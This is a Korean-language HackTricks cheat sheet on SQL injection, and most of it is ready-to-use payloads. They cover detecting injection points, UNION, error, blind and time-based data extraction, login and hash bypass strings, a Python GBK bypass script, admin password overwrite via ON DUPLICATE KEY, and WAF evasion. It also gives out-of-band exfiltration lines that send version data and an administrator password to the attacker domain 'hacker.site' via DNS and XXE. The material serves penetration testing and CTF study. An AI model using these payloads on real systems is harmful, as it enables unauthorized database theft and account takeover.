30 KiB
SQL Injection
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
RootedCON은 스페인에서 가장 관련성이 높은 사이버 보안 이벤트이며 유럽에서 가장 중요한 행사 중 하나입니다. 기술 지식을 촉진하는 것을 사명으로 하는 이 회의는 모든 분야의 기술 및 사이버 보안 전문가들이 모이는 뜨거운 만남의 장소입니다.
{% embed url="https://www.rootedcon.com/" %}
SQL 인젝션이란 무엇인가?
SQL 인젝션은 공격자가 애플리케이션의 데이터베이스 쿼리에 간섭할 수 있게 해주는 보안 결함입니다. 이 취약점은 공격자가 보지 못해야 할 데이터, 즉 다른 사용자의 정보나 애플리케이션이 접근할 수 있는 모든 데이터를 조회, 수정 또는 삭제할 수 있게 합니다. 이러한 행동은 애플리케이션의 기능이나 콘텐츠에 영구적인 변경을 초래하거나 서버의 손상 또는 서비스 거부를 초래할 수 있습니다.
진입점 탐지
사이트가 SQLi 관련 입력에 대한 비정상적인 서버 응답으로 인해 SQL 인젝션(SQLi)에 취약한 것으로 보일 때, 첫 번째 단계는 쿼리를 방해하지 않고 데이터 주입 방법을 이해하는 것입니다. 이는 현재 컨텍스트에서 효과적으로 벗어나는 방법을 식별해야 합니다.
다음은 유용한 몇 가지 예입니다:
[Nothing]
'
"
`
')
")
`)
'))
"))
`))
그런 다음, 오류가 없도록 쿼리를 수정하는 방법을 알아야 합니다. 쿼리를 수정하기 위해 데이터를 입력하여 이전 쿼리가 새 데이터를 수용하도록 하거나, 그냥 데이터를 입력하고 끝에 주석 기호를 추가할 수 있습니다.
쿼리가 작동할 때와 작동하지 않을 때 오류 메시지를 볼 수 있거나 차이를 발견할 수 있다면 이 단계는 더 쉬울 것입니다.
주석
MySQL
#comment
-- comment [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */
PostgreSQL
--comment
/*comment*/
MSQL
--comment
/*comment*/
Oracle
--comment
SQLite
--comment
/*comment*/
HQL
HQL does not support comments
논리 연산으로 확인하기
SQL 인젝션 취약점을 확인하는 신뢰할 수 있는 방법은 논리 연산을 실행하고 예상 결과를 관찰하는 것입니다. 예를 들어, ?username=Peter
와 같은 GET 매개변수가 ?username=Peter' or '1'='1
로 수정했을 때 동일한 콘텐츠를 생성하면 SQL 인젝션 취약점이 있음을 나타냅니다.
마찬가지로, 수학적 연산의 적용은 효과적인 확인 기술로 작용합니다. 예를 들어, ?id=1
과 ?id=2-1
에 접근했을 때 동일한 결과가 생성되면 SQL 인젝션을 나타냅니다.
논리 연산 확인을 보여주는 예:
page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false
이 단어 목록은 제안된 방법으로 SQLinjections를 확인하기 위해 생성되었습니다:
{% file src="../../.gitbook/assets/sqli-logic.txt" %}
타이밍으로 확인하기
일부 경우에는 테스트 중인 페이지에서 변화를 감지하지 못할 수 있습니다. 따라서 블라인드 SQL injections를 발견하는 좋은 방법은 DB가 작업을 수행하게 하여 페이지 로드에 영향을 미치는 시간을 만드는 것입니다.
따라서 SQL 쿼리에 완료하는 데 많은 시간이 걸리는 작업을 연결할 것입니다:
MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)
PostgreSQL (only support string concat)
1' || pg_sleep(10)
MSQL
1' WAITFOR DELAY '0:0:10'
Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)
SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
일부 경우에 sleep 함수가 허용되지 않을 수 있습니다. 그런 경우, 이러한 함수를 사용하는 대신 쿼리를 복잡한 작업을 수행하도록 만들어 여러 초가 걸리게 할 수 있습니다. 이러한 기술의 예는 각 기술에 대해 별도로 주석을 달 예정입니다 (있는 경우).
백엔드 식별
백엔드를 식별하는 가장 좋은 방법은 다양한 백엔드의 함수를 실행해보는 것입니다. 이전 섹션의 sleep 함수 또는 다음의 함수들을 사용할 수 있습니다 (table from payloadsallthethings:
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
["connection_id()=connection_id()" ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')" ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)" ,"MSSQL"],
["@@CONNECTIONS>0" ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS" ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY" ,"MSSQL"],
["USER_ID(1)=USER_ID(1)" ,"MSSQL"],
["ROWNUM=ROWNUM" ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')" ,"ORACLE"],
["LNNVL(0=123)" ,"ORACLE"],
["5::int=5" ,"POSTGRESQL"],
["5::integer=5" ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()" ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)" ,"POSTGRESQL"],
["current_database()=current_database()" ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()" ,"SQLITE"],
["last_insert_rowid()>1" ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()" ,"SQLITE"],
["val(cvar(1))=1" ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0" ,"MSACCESS"],
["cdbl(1)=cdbl(1)" ,"MSACCESS"],
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
또한, 쿼리의 출력에 접근할 수 있다면 데이터베이스의 버전을 출력할 수 있습니다.
{% hint style="info" %} 우리는 다양한 종류의 SQL Injection을 악용하는 다양한 방법에 대해 논의할 것입니다. MySQL을 예로 사용할 것입니다. {% endhint %}
PortSwigger로 식별하기
{% embed url="https://portswigger.net/web-security/sql-injection/cheat-sheet" %}
유니온 기반 악용
열의 수 감지
쿼리의 출력을 볼 수 있다면 이것이 가장 좋은 악용 방법입니다.
우선, 초기 요청이 반환하는 열의 수를 찾아야 합니다. 이는 두 쿼리가 동일한 수의 열을 반환해야 하기 때문입니다.
이 목적을 위해 일반적으로 두 가지 방법이 사용됩니다:
Order/Group by
쿼리의 열 수를 결정하기 위해 ORDER BY 또는 GROUP BY 절에서 사용된 숫자를 점진적으로 조정하여 잘못된 응답이 수신될 때까지 진행합니다. SQL 내에서 GROUP BY와 ORDER BY의 기능이 다르지만, 두 가지 모두 쿼리의 열 수를 확인하는 데 동일하게 활용될 수 있습니다.
1' ORDER BY 1--+ #True
1' ORDER BY 2--+ #True
1' ORDER BY 3--+ #True
1' ORDER BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
1' GROUP BY 1--+ #True
1' GROUP BY 2--+ #True
1' GROUP BY 3--+ #True
1' GROUP BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
UNION SELECT
쿼리가 올바를 때까지 더 많은 null 값을 선택하십시오:
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked
null
값을 사용해야 합니다. 경우에 따라 쿼리 양쪽의 열 유형이 동일해야 하며 null은 모든 경우에 유효합니다.
데이터베이스 이름, 테이블 이름 및 열 이름 추출
다음 예제에서는 모든 데이터베이스의 이름, 데이터베이스의 테이블 이름, 테이블의 열 이름을 검색합니다:
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]
#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
모든 데이터베이스에서 이 데이터를 발견하는 방법은 다르지만, 항상 동일한 방법론입니다.
숨겨진 유니온 기반 활용
쿼리의 출력이 보이지만 유니온 기반 주입이 불가능해 보일 때, 이는 숨겨진 유니온 기반 주입의 존재를 나타냅니다. 이 시나리오는 종종 블라인드 주입 상황으로 이어집니다. 블라인드 주입을 유니온 기반으로 변환하려면 백엔드에서 실행되는 쿼리를 파악해야 합니다.
이는 블라인드 주입 기술과 대상 데이터베이스 관리 시스템(DBMS)에 특정한 기본 테이블을 사용하여 수행할 수 있습니다. 이러한 기본 테이블을 이해하기 위해서는 대상 DBMS의 문서를 참조하는 것이 좋습니다.
쿼리가 추출되면, 원래 쿼리를 안전하게 종료하도록 페이로드를 조정해야 합니다. 그 후, 유니온 쿼리를 페이로드에 추가하여 새로 접근 가능한 유니온 기반 주입을 활용할 수 있습니다.
더 포괄적인 통찰력을 원하시면 Healing Blind Injections에서 제공되는 전체 기사를 참조하세요.
오류 기반 활용
어떤 이유로 쿼리의 출력을 볼 수 없지만 오류 메시지는 볼 수 있는 경우, 이 오류 메시지를 사용하여 데이터베이스에서 데이터를 유출할 수 있습니다.
유니온 기반 활용과 유사한 흐름을 따라 DB를 덤프할 수 있습니다.
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
Blind SQLi 활용하기
이 경우 쿼리의 결과나 오류를 볼 수는 없지만, 쿼리가 true 또는 false 응답을 반환할 때 페이지의 내용이 다르기 때문에 이를 구별할 수 있습니다.
이 경우, 그 동작을 악용하여 데이터베이스를 문자 단위로 덤프할 수 있습니다:
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
Exploiting Error Blind SQLi
이것은 이전과 동일한 경우이지만 쿼리의 true/false 응답을 구분하는 대신 SQL 쿼리에서 오류가 있는지 여부를 구분할 수 있습니다(아마도 HTTP 서버가 중단되기 때문입니다). 따라서 이 경우 올바른 문자를 추측할 때마다 SQL 오류를 강제로 발생시킬 수 있습니다:
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
시간 기반 SQLi 활용
이 경우에는 페이지의 맥락에 따라 쿼리의 응답을 구별할 수 있는 방법이 없습니다. 그러나, 추측한 문자가 올바른 경우 페이지가 더 오래 로드되도록 만들 수 있습니다. 우리는 이미 타이밍을 사용하여 SQLi 취약점 확인하는 이 기술을 이전에 보았습니다.
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
Stacked Queries
스택 쿼리를 사용하여 여러 쿼리를 연속으로 실행할 수 있습니다. 후속 쿼리가 실행되는 동안 결과는 응용 프로그램에 반환되지 않습니다. 따라서 이 기술은 주로 블라인드 취약점과 관련하여 사용되며, 두 번째 쿼리를 사용하여 DNS 조회, 조건부 오류 또는 시간 지연을 트리거할 수 있습니다.
Oracle은 스택 쿼리를 지원하지 않습니다. MySQL, Microsoft 및 PostgreSQL은 이를 지원합니다: QUERY-1-HERE; QUERY-2-HERE
Out of band Exploitation
다른 취약점 이용 방법이 작동하지 않는 경우, 데이터베이스가 정보를 당신이 제어하는 외부 호스트로 유출하도록 시도할 수 있습니다. 예를 들어, DNS 쿼리를 통해:
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
XXE를 통한 대역 외 데이터 유출
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
자동화된 악용
sqlmap을 사용하여 SQLi 취약점을 악용하려면 SQLMap Cheetsheat를 확인하세요.
기술별 정보
우리는 이미 SQL Injection 취약점을 악용하는 모든 방법에 대해 논의했습니다. 이 책에서 데이터베이스 기술에 따라 더 많은 트릭을 찾아보세요:
또는 https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection에서 MySQL, PostgreSQL, Oracle, MSSQL, SQLite 및 HQL에 관한 많은 트릭을 찾을 수 있습니다.
RootedCON은 스페인에서 가장 관련성이 높은 사이버 보안 이벤트이며 유럽에서 가장 중요한 행사 중 하나입니다. 기술 지식을 촉진하는 임무를 가지고 이 컨그레스는 모든 분야의 기술 및 사이버 보안 전문가들이 모이는 뜨거운 만남의 장소입니다.
{% embed url="https://www.rootedcon.com/" %}
인증 우회
로그인 기능을 우회하기 위해 시도할 목록:
{% content-ref url="../login-bypass/sql-login-bypass.md" %} sql-login-bypass.md {% endcontent-ref %}
원시 해시 인증 우회
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
이 쿼리는 인증 검사에서 원시 출력을 위해 true와 함께 MD5가 사용될 때의 취약점을 보여줍니다. 이로 인해 시스템이 SQL 인젝션에 취약해집니다. 공격자는 해시될 때 예상치 못한 SQL 명령 부분을 생성하는 입력을 조작하여 이를 악용할 수 있으며, 이는 무단 접근으로 이어질 수 있습니다.
md5("ffifdyop", true) = 'or'6<EFBFBD>]<EFBFBD><EFBFBD>!r,<EFBFBD><EFBFBD>b<EFBFBD>
sha1("3fDf ", true) = Q<EFBFBD>u'='<EFBFBD>@<EFBFBD>[<EFBFBD>t<EFBFBD>- o<EFBFBD><EFBFBD>_-!
주입된 해시 인증 우회
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
추천 목록:
각 줄의 목록을 사용자 이름으로 사용하고 비밀번호는 항상: Pass1234.
(이 페이로드는 이 섹션의 시작 부분에 언급된 큰 목록에도 포함되어 있습니다)
{% file src="../../.gitbook/assets/sqli-hashbypass.txt" %}
GBK 인증 우회
IF '가 이스케이프되고 있다면 %A8%27을 사용할 수 있으며, '가 이스케이프되면 다음이 생성됩니다: 0xA80x5c0x27 (╘')
%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --
파이썬 스크립트:
import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text
폴리글롯 인젝션 (다중 컨텍스트)
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
Insert Statement
기존 객체/사용자의 비밀번호 수정
이를 위해 **"마스터 객체"**라는 이름의 새 객체를 생성하려고 시도해야 합니다 (사용자의 경우 admin일 가능성이 높습니다) 뭔가를 수정하여:
- 이름이 AdMIn인 사용자 생성 (대문자 및 소문자 혼합)
- 이름이 **admin=**인 사용자 생성
- SQL Truncation Attack (사용자 이름이나 이메일에 길이 제한이 있을 때) --> 이름이 admin [공백 많이] a인 사용자 생성
SQL Truncation Attack
데이터베이스가 취약하고 사용자 이름의 최대 문자 수가 예를 들어 30일 때, admin 사용자를 가장하려면: "admin [30 공백] a"라는 사용자 이름을 생성하고 아무 비밀번호나 사용해 보세요.
데이터베이스는 입력된 사용자 이름이 데이터베이스에 존재하는지 확인합니다. 존재하지 않으면, 사용자 이름을 최대 허용 문자 수로 잘라냅니다 (이 경우 "admin [25 공백]"로) 그리고 자동으로 끝의 모든 공백을 제거하여 데이터베이스 내에서 사용자 "admin"의 새 비밀번호로 업데이트합니다 (어떤 오류가 발생할 수 있지만, 이것이 작동하지 않았다는 의미는 아닙니다).
자세한 정보: https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref
참고: 이 공격은 최신 MySQL 설치에서 위와 같이 더 이상 작동하지 않습니다. 비교는 여전히 기본적으로 후행 공백을 무시하지만, 필드의 길이보다 긴 문자열을 삽입하려고 하면 오류가 발생하고 삽입이 실패합니다. 이 확인에 대한 자세한 정보는 다음을 참조하세요: https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation
MySQL Insert 시간 기반 검사
VALUES 문을 종료하기 위해 필요한 만큼 ','',''
를 추가하세요. 지연이 실행되면 SQLInjection이 있습니다.
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
ON DUPLICATE KEY UPDATE
MySQL의 ON DUPLICATE KEY UPDATE
절은 UNIQUE 인덱스 또는 PRIMARY KEY에서 중복 값이 발생하는 행을 삽입하려고 할 때 데이터베이스가 수행할 작업을 지정하는 데 사용됩니다. 다음 예제는 이 기능이 관리자의 계정 비밀번호를 수정하는 데 어떻게 악용될 수 있는지를 보여줍니다:
Example Payload Injection:
주입 페이로드는 다음과 같이 작성될 수 있으며, 두 개의 행이 users
테이블에 삽입되려고 시도됩니다. 첫 번째 행은 미끼이고, 두 번째 행은 비밀번호를 업데이트할 의도로 기존 관리자의 이메일을 대상으로 합니다:
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
Here's how it works:
- 쿼리는 두 개의 행을 삽입하려고 시도합니다: 하나는
generic_user@example.com
을 위한 것이고, 다른 하나는admin_generic@example.com
을 위한 것입니다. - 만약
admin_generic@example.com
에 대한 행이 이미 존재한다면,ON DUPLICATE KEY UPDATE
절이 트리거되어 MySQL에 기존 행의password
필드를 "bcrypt_hash_of_newpassword"로 업데이트하도록 지시합니다. - 결과적으로,
admin_generic@example.com
을 사용하여 bcrypt 해시에 해당하는 비밀번호로 인증을 시도할 수 있습니다 ("bcrypt_hash_of_newpassword"는 새 비밀번호의 bcrypt 해시를 나타내며, 원하는 비밀번호의 실제 해시로 대체되어야 합니다).
Extract information
Creating 2 accounts at the same time
새 사용자와 사용자 이름을 생성하려고 할 때, 비밀번호와 이메일이 필요합니다:
SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
A new user with username=otherUsername, password=otherPassword, email:FLAG will be created
10진수 또는 16진수 사용
이 기술을 사용하면 1개의 계정만 생성하여 정보를 추출할 수 있습니다. 주의할 점은 아무것도 주석 처리할 필요가 없다는 것입니다.
hex2dec 및 substr 사용:
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
텍스트를 얻으려면 다음을 사용할 수 있습니다:
__import__('binascii').unhexlify(hex(215573607263)[2:])
hex와 replace (그리고 substr) 사용:
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
RootedCON은 스페인에서 가장 관련성이 높은 사이버 보안 이벤트이며 유럽에서 가장 중요한 행사 중 하나입니다. 기술 지식을 촉진하는 임무를 가지고, 이 컨그레스는 모든 분야의 기술 및 사이버 보안 전문가들이 모이는 뜨거운 만남의 장소입니다.
{% embed url="https://www.rootedcon.com/" %}
Routed SQL injection
Routed SQL injection은 주입 가능한 쿼리가 출력을 제공하지 않고, 주입 가능한 쿼리의 출력이 출력을 제공하는 쿼리로 전달되는 상황입니다. (From Paper)
Example:
#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
WAF 우회
공백 없는 우회
No Space (%20) - 공백 대체를 사용한 우회
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--
No Whitespace - 주석을 사용한 우회
?id=1/*comment*/and/**/1=1/**/--
No Whitespace - 괄호를 사용한 우회
?id=(1)and(1)=(1)--
No commas bypass
No Comma - OFFSET, FROM 및 JOIN을 사용한 우회
LIMIT 0,1 -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
Generic Bypasses
키워드를 사용한 블랙리스트 - 대문자/소문자를 사용하여 우회
?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#
대소문자 구분 없는 키워드를 사용한 블랙리스트 - 동등한 연산자를 사용하여 우회
AND -> && -> %26%26
OR -> || -> %7C%7C
= -> LIKE,REGEXP,RLIKE, not < and not >
> X -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
Scientific Notation WAF 우회
You can find a more in depth explaination of this trick in gosecure blog.
기본적으로 WAF를 우회하기 위해 예상치 못한 방식으로 과학적 표기를 사용할 수 있습니다:
-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=
열 이름 제한 우회
먼저, 원래 쿼리와 플래그를 추출하려는 테이블의 열 수가 동일하다면 다음과 같이 할 수 있습니다: 0 UNION SELECT * FROM flag
열 이름을 사용하지 않고 테이블의 세 번째 열에 접근하는 것이 가능합니다 다음과 같은 쿼리를 사용하여: SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
, 따라서 sqlinjection에서는 다음과 같이 보일 것입니다:
# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
또는 comma bypass를 사용하여:
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
이 트릭은 https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/에서 가져왔습니다.
WAF 우회 제안 도구
{% embed url="https://github.com/m4ll0k/Atlas" %}
기타 가이드
- https://sqlwiki.netspi.com/
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection
브루트포스 탐지 목록
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt" %}
RootedCON은 스페인에서 가장 관련성이 높은 사이버 보안 이벤트이며 유럽에서 가장 중요한 행사 중 하나입니다. 기술 지식을 촉진하는 임무를 가지고 있는 이 회의는 모든 분야의 기술 및 사이버 보안 전문가들이 모이는 뜨거운 만남의 장소입니다.
{% embed url="https://www.rootedcon.com/" %}
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- 해킹 트릭을 공유하려면 HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하세요.